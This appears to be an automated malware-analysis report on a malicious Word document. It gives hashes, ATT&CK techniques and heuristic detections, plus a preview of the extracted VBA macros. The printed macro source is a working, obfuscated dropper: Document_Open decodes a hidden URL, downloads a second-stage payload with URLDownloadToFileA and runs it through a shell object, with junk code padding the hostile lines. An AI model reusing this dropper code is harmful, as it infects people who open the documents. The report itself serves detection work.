Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7073f71165c12219…

MALICIOUS

Office (OLE)

244.0 KB Created: 2019-02-06 16:09:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 693c378c41a6f564117591014e707dc9 SHA-1: c2a51ec3e163236f8a3e050dbe032c59d627c2a4 SHA-256: 7073f71165c12219cb84b484dc334bd895e7e41ee6d020c0f38b6c3d9ac46f66
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The Document_Open macro is configured to execute upon opening, and it utilizes the URLDownloadToFileA API to download a second-stage payload. The document body contains a lure instructing the user to enable macros and content, which is a common social engineering tactic.

Heuristics 10

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 Then
Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal ZcdBqYjHHDAMTeI9K As Long, ByVal YbGMM As String, ByVal N5WAaTjMhI As String, ByVal NMQOnM9pYHijwYQBM As Long, ByVal XYDFGok2ZgnTne As Long) As LongPtr
#Else
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Case (5139 + 3671 + (-6568 - (-4354) + 4956)): Set Y0IU8bu = CreateObject(BVUxsnlD9CE)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public YvDP1NjZ
Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Sub Hz9nTLRgw()
FTC3eA5OGVX5N0t = Environ(XHfQD6i("UP_DRSh;\/E~0BxRLo8lP\-QYR3]CdObz,AFK2mBIC+^2L0iclE:hQ<")) + jDGd35e("\v>*:lS`;nv]?KImuP_9fs,g1wlv(l.CW`>ey.lQxNwWfe;ov3")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 60246 bytes
SHA-256: ecde6de3c274a5d866f2c741f00317d2fe7f5314d47a7296d5efdc830f7aa88d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal ZcdBqYjHHDAMTeI9K As Long, ByVal YbGMM As String, ByVal N5WAaTjMhI As String, ByVal NMQOnM9pYHijwYQBM As Long, ByVal XYDFGok2ZgnTne As Long) As LongPtr
#Else
Private Declare Function URLDownloadToFileA Lib "URLMON" (ByVal ZcdBqYjHHDAMTeI9K As Long, ByVal YbGMM As String, ByVal N5WAaTjMhI As String, ByVal NMQOnM9pYHijwYQBM As Long, ByVal XYDFGok2ZgnTne As Long) As Long
#End If
Public TAfKPJe39hQhb
Public nmVRJL8SmvlXrYjUSFx
Public FTC3eA5OGVX5N0t
Public YvDP1NjZ
Sub Document_Open()

Select Case -10680
Case (-9614 + 1659 + (-8271 - (1366) + 6912)): Hz9nTLRgw

Case (1844 + (-7265) - (-5224 + 1775) + (6707)):



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With



Case (1844 + (-7265) - (-5224 + 1775) + (6707)):



Selection.Find.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = ""
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Selection.Find.Execute



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



End Select


End Sub
Sub Hz9nTLRgw()
FTC3eA5OGVX5N0t = Environ(XHfQD6i("UP_DRSh;\/E~0BxRLo8lP\-QYR3]CdObz,AFK2mBIC+^2L0iclE:hQ<")) + jDGd35e("\v>*:lS`;nv]?KImuP_9fs,g1wlv(l.CW`>ey.lQxNwWfe;ov3")

Select Case 374
Case (3129 + (3525) - (7867 + -9587) + (-5959)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
While Selection.Find.Execute
MsgBox ("A")
Wend



Application.DisplayStatusBar = True
With ActiveWindow
   .DisplayHorizontalScrollBar = True
   .DisplayVerticalScrollBar = True
   .DisplayVerticalRuler = True
   .DisplayScreenTips = True
End With



Case (3129 + (3525) - (7867 + -9587) + (-5959)):



    BIStatus = 0
    If Selection.Font.Bold Then BIStatus = BIStatus + 1
    If Selection.Font.Italic Then BIStatus = BIStatus + 1

    If BIStatus = 0 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 1 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 2 Then
        Selection.Font.Bold = False
        Selection.Font.Italic = False
    End If



MsgBox ("The document variable is set to type: " & _
ActiveDocument.Variables("DocumentType").Value)



Case (-2193 + -4882 + (6391 - (-8203) + -7145)): TAfKPJe39hQhb = jDGd35e("h]7F_tS0I=tKcX3p.BxI:l]zz/Cpdc/zZNIw8~:LwVI]aw;?/E.w{jgjs6Rkad:O4gXW\laRbcwd`~-KiP3\dsd>5UhU\*Gc.{nlh/bc}rW.r}iko7XsZ6cwtuF?giYm.Na,x]{nU=fV.svp}cC/rJo@]xsm.\yG/w1Pftc.;@m[=x]pOvPU/1_dcjEe\noRtOzft9GOb}>+K.l(rmecWJ-x6<yIe5JjN")

End Select



Select Case 17733
Case (-2998 + 2476 + (5850 - (-3949) + 8456)): nmVRJL8SmvlXrYjUSFx = URLDownloadToFileA(0, TAfKPJe39hQhb, FTC3eA5OGVX5N0t, 0, 0)

Case (-4644 + (6150) - (499 + -3635) + (6777)):



If ActiveDocument.Bookmarks.Exists("BookmarkName") = True Then
   ActiveDocument.Bookmarks("BookmarkName").Select
   Selection.TypeText Text:="Hello"
End If



    Title = "CharCount"
    CharCount = Len(Selection)
    Message = LTrim(Str(CharCount)) + " character"
    If CharCount <> 1 Then Message = Message + "s"
    MsgBox Message, vbOKOnly, Title



Case (-4644 + (6150) - (499 + -3635) + (6777)):



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With



End Select


Set YvDP1NjZ = Y0IU8bu(XHfQD6i("WEE0)S^=_Wc~7SrrC^nl") + XHfQD6i("i7BctpA(\Ht8-dq.IcGJS3/FDhr*b5") + XHfQD6i("eR>B4lVjmPlyu\w"))


Select Case 4906
Case (8680 + (1635) - (-625 + -8532) + (6510)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
While Selection.Find.Execute
MsgBox ("A")
Wend



    ' Display message, title, and default value
    Drive = InputBox(Message, Title, Default)
    If Drive > "" Then
        ffname = ActiveDocument.FullName
        FName = Drive & ":\" & ActiveDocument.Name
        ActiveDocument.SaveAs FName
        ActiveDocument.SaveAs ffname
    End If



Case (-3495 + 7929 + (-9790 - (-2695) + 7567)): YvDP1NjZ.Run FTC3eA5OGVX5N0t

Case (8680 + (1635) - (-625 + -8532) + (6510)):



MsgBox ("The document variable is set to type: " & _
ActiveDocument.Variables("DocumentType").Value)



    BIStatus = 0
    If Selection.Font.Bold Then BIStatus = BIStatus + 1
    If Selection.Font.Italic Then BIStatus = BIStatus + 1

    If BIStatus = 0 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 1 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 2 Then
        Selection.Font.Bold = False
        Selection.Font.Italic = False
    End If



End Select


End Sub
Function Y0IU8bu(BVUxsnlD9CE As String) As Object

Select Case 11552
Case (-3419 + (7635) - (8415 + 2314) + (6773)):



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



If ActiveDocument.Bookmarks.Exists("BookmarkName") = True Then
   ActiveDocument.Bookmarks("BookmarkName").Select
   Selection.TypeText Text:="Hello"
End If



Case (5139 + 3671 + (-6568 - (-4354) + 4956)): Set Y0IU8bu = CreateObject(BVUxsnlD9CE)

Case (-3419 + (7635) - (8415 + 2314) + (6773)):



Application.DisplayStatusBar = True
With ActiveWindow
   .DisplayHorizontalScrollBar = True
   .DisplayVerticalScrollBar = True
   .DisplayVerticalRuler = True
   .DisplayScreenTips = True
End With



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
While Selection.Find.Execute
MsgBox ("A")
Wend



End Select


End Function

Function jDGd35e(a6vl2 As String) As String

Select Case -1317
Case (6605 + (5521) - (9871 + -5521) + (-6959)):



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



    ' Display message, title, and default value
    Drive = InputBox(Message, Title, Default)
    If Drive > "" Then
        ffname = ActiveDocument.FullName
        FName = Drive & ":\" & ActiveDocument.Name
        ActiveDocument.SaveAs FName
        ActiveDocument.SaveAs ffname
    End If



Case (6605 + (5521) - (9871 + -5521) + (-6959)):



With Selection.Cells
   .Borders(wdBorderLeft).LineStyle = wdLineStyleNone
   With .Borders(wdBorderRight)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderTop)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderBottom)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   .Borders.Shadow = False
End With
With Options
   .DefaultBorderLineStyle = wdLineStyleSingle
   .DefaultBorderLineWidth = wdLineWidth050pt
   .DefaultBorderColorIndex = wdAuto
End With




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



Case (-1741 + -1582 + (-820 - (1925) + 4751)):
Select Case 3474
Case (-8531 + 7325 + (9487 - (-5016) + -9823)):      Dim cT4MMyWMnfRWO0uvNS(1055) As Byte

Case (8579 + (8550) - (3395 + 553) + (9327)):




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



With Selection.Cells
   .Borders(wdBorderLeft).LineStyle = wdLineStyleNone
   With .Borders(wdBorderRight)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderTop)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderBottom)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   .Borders.Shadow = False
End With
With Options
   .DefaultBorderLineStyle = wdLineStyleSingle
   .DefaultBorderLineWidth = wdLineWidth050pt
   .DefaultBorderColorIndex = wdAuto
End With



Case (8579 + (8550) - (3395 + 553) + (9327)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
While Selection.Find.Execute
MsgBox ("A")
Wend



 If Selection.Type = wdSelectionIP Then
          Selection.MoveLeft unit:=wdWord, Count:=1
          Selection.MoveRight unit:=wdWord, Count:=1, Extend:=wdExtend
     End If
     Selection.Range.Case = wdTitleWord
     Selection.Font.SmallCaps = True



End Select


End Select



Select Case 18882
Case (4509 + (1023) - (-6402 + 2303) + (-2275)):



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



 If ActiveDocument.Saved = False Then ActiveDocument.Save
    System.Cursor = wdCursorWait
    OrigLongFileName = ActiveDocument.Name
    OldPath = ActiveDocument.Path & Application.PathSeparator
    If ActiveDocument.Path = "" Then
        MsgBox "Please save this document before sending to drive A:", _
           vbOKOnly, "This Document Not Saved"
    Else
        FileCopy OldPath & OrigLongFileName, "a:\" & OrigLongFileName
        Documents.Open FileName:=OldPath & OrigLongFileName
        Application.GoBack
    End If
    System.Cursor = wdCursorNormal



Case (7386 + -3849 + (8412 - (-631) + 6302)):
Select Case 2555
Case (-2014 + (-3443) - (9445 + 322) + (-2842)):



Selection.Find.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = ""
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Selection.Find.Execute



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



Case (-2014 + (-3443) - (9445 + 322) + (-2842)):



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Forward = True
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Do While Selection.Find.Execute
   'Do something within the found text
Loop



Case (5278 + -3923 + (224 - (8828) + 9804)):      Dim lGKoJSMA() As Byte

End Select


Case (4509 + (1023) - (-6402 + 2303) + (-2275)):




    ' reference the current document
    Set docActive = ActiveDocument

    ' get the name of doc and also path/name
    ' of the template it's based-on
    strDocName = docActive.Name
    strTemplateName = docActive.AttachedTemplate.FullName

    ' create a copy document based on same template
    Set docNew = Documents.Add(strTemplateName)

    ' loop to copy each part of the active doc to the new doc
    For Each rngActiveDocPart In docActive.StoryRanges
        ' reference same part
        Set rngNewDocPart = docNew.StoryRanges _
           (rngActiveDocPart.StoryType)
        rngActiveDocPart.Copy
        rngNewDocPart.Paste
    Next rngActiveDocPart

    ' make the new document active
    docNew.Activate

    ' offer to save it on floppy drive A:\




 If Selection.Type = wdSelectionIP Then
          Selection.MoveLeft unit:=wdWord, Count:=1
          Selection.MoveRight unit:=wdWord, Count:=1, Extend:=wdExtend
     End If
     Selection.Range.Case = wdTitleWord
     Selection.Font.SmallCaps = True



End Select



Select Case 8983
Case (-9136 + (-2221) - (-624 + 8507) + (137)):



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



Case (9764 + 5442 + (-9932 - (-233) + 3476)):
Select Case 1394
Case (2368 + (3045) - (1680 + -5663) + (-4038)):



   With Selection.Find
        .ClearFormatting
        .Replacement.ClearFormatting
        .Text = " {2,}"
        .Replacement.Text = "^t"
        .Forward = True
        .Wrap = wdFindStop
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.ConvertToTable _
      Separator:=wdSeparateByTabs, _
      Format:=wdTableFormatNone



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



Case (-4318 + 5165 + (-7369 - (-5197) + 2719)):      Dim E6BWTksYloYJaMTZl

Case (2368 + (3045) - (1680 + -5663) + (-4038)):



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



End Select


Case (-9136 + (-2221) - (-624 + 8507) + (137)):



Application.DisplayStatusBar = True
With ActiveWindow
   .DisplayHorizontalScrollBar = True
   .DisplayVerticalScrollBar = True
   .DisplayVerticalRuler = True
   .DisplayScreenTips = True
End With



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



End Select


    Dim i5nRH0feIflt0

Select Case -1100
Case (2714 + -7644 + (9250 - (-1746) + -7166)):
Select Case -21231
Case (-8075 + -9981 + (1859 - (-1378) + -6412)):      lGKoJSMA = StrConv(a6vl2, vbFromUnicode)

Case (4601 + (-1057) - (-8337 + 4599) + (1475)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
While Selection.Find.Execute
MsgBox ("A")
Wend



    sBigStuff = ""

    ' Select the full number in which the insertion point is located
    Selection.MoveLeft unit:=wdWord, Count:=1, Extend:=wdMove
    Selection.MoveRight unit:=wdWord, Count:=1, Extend:=wdExtend

    ' Store the digits in a variable
    sDigits = Trim(Selection.Text)

    If Val(sDigits) > 999999 Then
        If Val(sDigits) <= 999999999 Then
            sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))
            ' Create a field containing the big digits and
            ' the cardtext format flag
            Selection.Fields.Add Range:=Selection.Range, _
              Type:=wdFieldEmpty, Text:="= " + sBigStuff + " \* CardText", _
              PreserveFormatting:=True

            ' Select the field and copy it
            Selection.MoveLeft unit:=wdWord, Count:=1, Extend:=wdExtend
            sBigStuff = Selection.Text & " million "
            sDigits = Right(sDigits, 6)
        End If
    End If
    If Val(sDigits) <= 999999 Then
        ' Create a field containing the digits and the cardtext format flag
        Selection.Fields.Add Range:=Selection.Range, _
          Type:=wdFieldEmpty, Text:="= " + sDigits + " \* CardText", _
          PreserveFormatting:=True

        ' Select the field and copy it
        Selection.MoveLeft unit:=wdWord, Count:=1, Extend:=wdExtend
        sDigits = sBigStuff & Selection.Text

        ' Now put the words in the document
        Selection.TypeText Text:=sDigits
        Selection.TypeText Text:=" "
    Else
        MsgBox "Number too large", vbOKOnly
    End If



Case (4601 + (-1057) - (-8337 + 4599) + (1475)):



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"



    sBigStuff = ""

    ' Select the full number in which the insertion point is located
    Selection.MoveLeft unit:=wdWord, Count:=1, Extend:=wdMove
    Selection.MoveRight unit:=wdWord, Count:=1, Extend:=wdExtend

    ' Store the digits in a variable
    sDigits = Trim(Selection.Text)

    If Val(sDigits) > 999999 Then
        If Val(sDigits) <= 999999999 Then
            sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))
            ' Create a field containing the big digits and
            ' the cardtext format flag
            Selection.Fields.Add Range:=Selection.Range, _
              Type:=wdFieldEmpty, Text:="= " + sBigStuff + " \* CardText", _
              PreserveFormatting:=True

            ' Select the field and copy it
            Selection.MoveLeft unit:=wdWord, Count:=1, Extend:=wdExtend
            sBigStuff = Selection.Text & " million "
            sDigits = Right(sDigits, 6)
        End If
    End If
    If Val(sDigits) <= 999999 Then
        ' Create a field containing the digits and the cardtext format flag
        Selection.Fields.Add Range:=Selection.Range, _
          Type:=wdFieldEmpty, Text:="= " + sDigits + " \* CardText", _
          PreserveFormatting:=True
…

Open this report in the interactive analyzer, or submit your own file for analysis.